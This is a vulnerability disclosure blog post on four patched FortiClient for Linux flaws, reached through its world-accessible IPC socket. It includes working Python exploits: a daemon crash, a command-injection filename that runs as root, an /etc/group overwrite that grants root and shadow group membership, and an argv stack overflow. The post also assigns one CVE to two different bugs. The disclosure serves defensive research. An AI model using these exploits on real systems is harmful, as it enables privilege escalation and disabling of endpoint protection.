2020-01-28 10:00 | Cees Elzinga

Multiple privilege escalations in FortiClient for Linux

In our last blog post we wrote about a privilege escalation in FortiClient for MacOS. This post continues our research in FortiClient but focuses on the Linux client. Although it's the same product, the implementation is completely different and we will start our research from scratch. We identified multiple security issues. All of them have been reported to Fortinet's PSIRT and are patched.

FortiClient Endpoint Protection is Fortinet's platform for protecting endpoints. Fortinet describes the software as follows:

"FortiClient for Linux protects Linux desktops and servers against malware by leveraging real-time scanning and detecting vulnerabilities before attackers can exploit them. FortiClient also utilizes Sandbox threat intelligence to detect and block zero-day threats that have not been seen before."

FortiClient user-interface

Overview

CVEDescriptionFixed in
CVE-2019-16152Crash bug: sending a malformed nanomsgVersion 6.2.2
CVE-2019-15711Local privilege escalation: command injection in exporting logsVersion 6.2.2
CVE-2019-16155Local privilege escalation: privileged file write in backup fileVersion 6.2.3
CVE-2019-17652Crash bug: Buffer overflow in constructing argvVersion 6.2.2

Architecture

To perform its functions as a malware protection engine Forticlient needs to run with high privileges. It uses these privileges, for example, to be able to scan files from any user. A common architecture used by anti-virus engines is to split the product into multiple components. Only the components that need the highest privileges run as root. Other components, such as the user-interface, run with low privileges. Communication between the two segments happens over a unix domain socket. This architecture is also used by Forticlient. (You might remember our blog post about ESET which uses a very similar setup)

privileged processes

A sample process listing of the forticlient processes looks like:

USER    PID     COMMAND
user    1752    /opt/forticlient/fortitraylauncher
user    1798    /opt/forticlient/fortitray
user    1964    /opt/forticlient/gui/FortiClient-linux-x64/FortiClient
user    1966    /opt/forticlient/gui/FortiClient-linux-x64/FortiClient --type=zygote --no-sandbox
user    2044    /opt/forticlient/gui/FortiClient-linux-x64/FortiClient --type=renderer --no-sandbox
root     743    /opt/forticlient/fctsched
root     751    /opt/forticlient/epctrl
root     752    /opt/forticlient/fmon -s /opt/forticlient/vir_sig/ -o /opt/forticlient/ --unit /opt/forticlient/ -a
root     756    /opt/forticlient//scanunit -p 53083 -s /opt/forticlient/vir_sig/ -a
root    2020    /opt/forticlient/update

An interesting target for research is the fctsched daemon. This binary is similar to a setuid-binary. A low privileged user, in this case the FortiClient process, can ask the daemon to execute actions as root. Any bug in this daemon might therefore be interesting from a security perspective. To interact with the daemon we need to understand how these processes communicate. The general research plan followed in this blog:

  • Understand how FortiClient and fctsched daemon communicate
  • Investigate what functions are available from FortiClient
  • Analyze these functions for security problems

Analyzing the communication

Initial reversing of the fctsched reveals the communication happens over a unix domain socket. The socket is statically defined as /tmp/.forticlient/8e145d51ebfccd7ee77b3eed706792fe.ipc. A full listing of the directory /tmp/.forticlient shows the socket is accessible to all users:

[email protected]:~ $ ls -al /tmp/.forticlient/
total 22016
drwxrwxrwx  5 root root     4096 Sep  6 13:07 .
drwxrwxrwt 16 root root     4096 Sep  6 13:16 ..
srwxrwxrwx  1 root root        0 Sep  6 12:56 8e145d51ebfccd7ee77b3eed706792fe.ipc <-- domain socket
srwxrwxrwx  1 user user        0 Sep  6 13:02 8f6ddf1358bd9d067261f529f69fda59.ipc
drwxr-xr-x  2 root root     4096 Sep  6 13:07 avextsig_delta
drwxr-xr-x  2 root root     4096 Sep  6 13:07 avsig_delata
srwxrwxr-x  1 user user        0 Sep  6 13:04 f272e54842dc8e993516d168744b5dc4
prw-rw-rw-  1 root root        0 Sep  6 12:56 FC_{886C0338-4742-41e3-B721-9BAB02678391}
prw-rw-r--  1 user user        0 Sep  6 13:02 fortitraylauncher
-rw-rw-r--  1 user user        5 Sep  6 13:02 fortitraylauncher.pid
-rw-rw-r--  1 user user        5 Sep  6 13:02 fortitray.pid
-rw-------  1 root root        0 Sep  6 12:56 _opt_forticlient_vir_sig_vir_high
drwx------  2 root root     4096 Sep  6 13:07 update
-rw-r--r--  1 root root        5 Sep  6 13:07 update.pid
-rw-------  1 root root 22509416 Sep  6 12:56 .vir_high_flat_sig

Instead of reversing the protocol statically we decided to get a feeling for the communication by using dynamic analysis. Knowing that forticlient uses a unix socket we instrumented it with a modified version of the udtrace library. The modified version hooks the relevant system calls and dump all data transferred using unix domain sockets.

With the instrumentation running we clicked around in the user-interface to trigger some activity. The following snippets shows the output when creating a backup.

$ LD_PRELOAD=./libudtrace.so /opt/forticlient/gui/FortiClient-linux-x64/FortiClient
...
55 sendmsg W 
7B 22 63 6F 6D 6D 61 6E  64 22 3A 22 42 61 63 6B  |  {"command":"Back 
75 70 43 6F 6E 66 69 67  22 2C 22 70 61 74 68 22  |  upConfig","path" 
3A 22 2F 74 6D 70 2F 74  65 73 74 62 61 63 6b 75  |  :"/tmp/testbacku
70 31 2E 63 6F 6E 66 22  2C 22 70 61 73 73 77 6F  |  p1.conf","passwo 
72 64 22 3A 22 22 2C 22  63 6F 6D 6D 65 6E 74 73  |  rd":"","comments 
22 3A 22 30 22 7D 00                              |  ":"0"}. 
55 recvmsg R 
01 00 00 00 00 00 00 00  26 F4 79 55 EC 7B 22 43  |  ........&.yU.{"C 
6F 6E 66 69 67 42 61 63  6B 75 70 52 65 73 75 6C  |  onfigBackupResul 
74 22 3A 22 53 75 63 63  65 73 73 21 22 7D 00     |  t":"Success!"}. 

It looks like the communication is implemented by sending JSON-requests. We still need to reverse some final details but our current knowledge will help with that. Using Ghidra we look where the string BackupConfig is used in the fctsched binary. This points to a function called ParseCommand which is a general command dispatcher routine. Other commands include: ExportLogs, ClearLogs, RestoreConfig, AddNodeValue, and more.

Re-implementing the protocol

In order to mimic a client and call functions in fctsched we need to understand the protocol a bit better. There is a small handshake that was not included in the snippets shown above. We started a custom implementation by replaying known requests:

import socket

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/tmp/.forticlient/8e145d51ebfccd7ee77b3eed706792fe.ipc')

assert sock.recv(16) == '\x00SP\x00\x001\x00\x00' # Handshake - receive
sock.send('\x00SP\x00\x000\x00\x00')              # Handshake - reply

sock.send('\x01\x00\x00\x00\x00\x00\x00\x00h\x91r\xd8\x01{\\"command\\":\\"BackupConfig\\",\\"path\\":\\"/opt/forticlient/gui/backuptest.conf\\",\\"password\\":\\"\\",\\"comments\\":\\"0\\"}\x00')

sock.close()

Unbeknownst to us at the time, the request in the script above is invalid. When sending the request the forticlient processes crash.

[email protected]:~$ ps aux | grep fort
root       654  /opt/forticlient/fctsched
root       698  /opt/forticlient/epctrl
root       699  /opt/forticlient/fmon -s /opt/forticlient/vir_sig/ -o /opt/forticlient/ --unit /opt/forticlient/ -a
root       723  /opt/forticlient//scanunit -p 46990 -s /opt/forticlient/vir_sig/ -a
user      1338  grep --color=auto fort

[email protected]:~$ python send_backup_request.py

[email protected]:~$ ps aux | grep fort
user      1338  grep --color=auto fort

Furthermore, the fact that the processes crash is not logged. An attacker can abuse this bug to stop any protection from forticlient and launch his attack. This bug was assigned CVE-2019-16152.

A backtrace from GDB gives an indication of the problem:

gdb$ bt
#0  __GI_raise ([email protected]=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f9cdd1bc801 in __GI_abort () at abort.c:79
#2  0x00000000004b52e9 in nn_err_abort ()
#3  0x00000000004c454b in ?? ()
#4  0x00000000004b38f6 in nn_ctx_leave ()
#5  0x00000000004b305f in nn_sock_recv ()
#6  0x00000000004b1291 in nn_recvmsg ()
#7  0x00000000004b1648 in nn_recv ()
#8  0x000000000047e83b in base::CmdDispatcher::ThreadProc(void*) ()
#9  0x00007f9cdd5746db in start_thread (arg=0x7f9cda76e700) at pthread_create.c:463
#10 0x00007f9cdd29d88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

The backtrace shows a lot of function names starting with nn_*. It turns out these are part of a library called nanomsg. The nanomsg library is an implementation of several "scalability protocols". These scalability protocols are light-weight messaging protocols which can be used to solve a number of common messaging patterns over various protocols, including UNIX sockets. Analyzing the code on Github shows the crash is related to an assertion that fails.

The nanomsg protocol is open-source and we can re-use a standard implementation. There is no need to further reverse and implement the protocol and we can move on to the next step: analyzing the command handlers.

Analyzing the command handlers

The first check we did when analyzing the command handlers is to look for references to system(). The handler "ExportLogs" is the only one to reference it. It dynamically generates a buffer and executes it, as shown by the following decompiliation by Ghidra:

Decompilation of ExportLogs by Ghidra

Jumping back to dynamic analysis and triggering the ExportLogs commands from the user-interface shows the following syscall:

[pid  2040] execve("/bin/sh", ["sh", "-c", "tar czf \"MYFILENAME.tar.gz\" *"], 0xb95e50 /* 10 vars */) = 0

Further reversing of the ExportLogs function shows the argument is not validated and is vulnerable to a command injection. By setting the filename to a malicious value we can get code execution as root.

import json
from nanomsg import Socket

s = Socket(48) # nanomsg NN_REQREP
s.connect('ipc:///tmp/.forticlient/8e145d51ebfccd7ee77b3eed706792fe.ipc')

s.send(json.dumps({
        "command": "ExportLogs",
        "path":     "\" ; id>/tmp/forticlient.log #"
}) + "\x00")

print(s.recv())
s.close()

This bug was assigned CVE-2019-15711 and is fixed in forticlient version 6.2.2.

Creating backups

Another command handler is responsible for creating a backup of the current configuration. The following screenshot shows the creation of a backup in the user-interface:

Create a backup through the GUI

The backup is written to disk by the process fctsched as the root user. For example, the backup from the screenshot above is saved as:

[email protected]:~$ ls -al /etc/backupme.conf
-rw-r--r-- 1 root root 10154 Sep 17 14:01 /etc/backupme.conf

This is already an issue as it allows a low-privileged user to overwrite system critical files as root. This could break the system and allows for various denial-of-service attacks. But can we also turn this into a privilege escalation bug?

The contents of the file is an XML dump of the current configuration:

[email protected]:~$ head /etc/backupme.conf
<forticlient_configuration>
	<forticlient_version>6.0.6.0125</forticlient_version>
	<version>6.0.6</version>
	<date>2019/05/13</date>
	<partial_configuration>0</partial_configuration>
	<os_version>Linux</os_version>
	...

By modifying settings we can exercise some control over the contents of the file. This might be useful if we overwrite a configuration file. When another process tries to parse this configuration file we might be able to trigger unintended behavior. Another option could be to include a bash script and write the backup file anywhere as root.

There are two limiting factors that make exploitation a bit harder:

  • the file permissions are fixed to 644
  • the backup file contains XML data outside of our control

We should therefore target a file that is processed by a very lax parser. The parser should ignore all lines it doesn't understand (the XML data) and continue parsing until it finds the injected content. As a proof-of-concept we overwrite /etc/group. The parser for this file ignores all non-valid lines and only interprets valid line. We use this to upgrade our user to be part of new groups (eg shadow or root).

Sample exploit:

import os,json,pwd,time
from nanomsg import Socket

s = Socket(48) # nanomsg NN_REQREP
s.connect('ipc:///tmp/.forticlient/8e145d51ebfccd7ee77b3eed706792fe.ipc')

# Get the current user
current_user = pwd.getpwuid(os.getuid()).pw_name

# Prepare new (malicious) /etc/group
etc_group = open("/etc/group").read()
etc_group = etc_group.replace("root:x:0:",   "root:x:0:"  +current_user)
etc_group = etc_group.replace("shadow:x:0:", "shadow:x:0:"+current_user)

# Add new configuration node with malicious /etc/group
s.send(json.dumps({
    "command": "AddNodeValue",
    "path":    "/forticlient_configuration/demonode",
    "key":     "demokey",
    "value":   "\n{}\n".format(etc_group)
}) + "\x00")
print(repr(s.recv()))

# Wait for config update
time.sleep(5)

# Overwrite /etc/group
s.send(json.dumps({
        "command": "BackupConfig",
        "path": "/etc/group",
        "password": "",
        "comments": "0"
}) + "\x00")
print(repr(s.recv()))

s.close()

print "Done. You are member of the groups root/shadow on the next login."

This bug was assigned CVE-2019-17652 and is fixed in forticlient version 6.2.2.

Buffer overflow

For the last bug in this post we take a look at the command handler for StartAvCustomScan. This commands allows the user to start a custom scan and configure the directory to be scanned. The command handler calls the function CreateProcess() and launches the scan as a new process. It takes a string of command-line arguments and builds an "argv" as can be seen in the following pseudo-code:

// incoming input eg: "-p /tmp/scandir"

char *argv [1025];

while (loop over 'input') {
	if (newArg) {
		argCnt = argCnt + 1;
		argv[argCnt] = arg; // <-- bug here
	}
}

execvp(executable,argv);

The issue is that the argv array is initialized with 1025 elements. But at the assignment argv[argCnt] = arg; argCnt could be greater than 1025. This results in a stack overflow if the function is called with > 1025 arguments. By just overflowing the stack this sample exploit crashes the process:

import json
from nanomsg import Socket
s = Socket(48) # nanomsg NN_REQREP
s.connect('ipc:///tmp/.forticlient/8e145d51ebfccd7ee77b3eed706792fe.ipc')

msg = json.dumps({
        "command":    "StartAvCustomScan",
        "parameters": "/tmp/\'" + " -AAAA BBBB" * 800
}) + "\x00"

s.send(msg)
s.close()

This is similar to the crash bug described earlier. The fact that the processes crash is not logged. An attacker can abuse this bug to stop any protection from forticlient and launch his attack. It might be possible to turn this bug into code execution, but this has not been investigated as we already found multiple ways to get code-execution as root.

Fixes

During our research we disclosed our findings to Fortinet's PSIRT as we found them. They were great to work with and resolved all reported issues. The advisory from PSIRT is available as FG-IR-19-238


Contact us

+45 7221 5100

[email protected]

Vester Farimagsgade 41, 1606 Copenhagen V

Consulting | Training | Blog | About

© 2020 Danish Cyber Defence A/S · Vester Farimagsgade 41 · 1606 Copenhagen V · CVR 38871064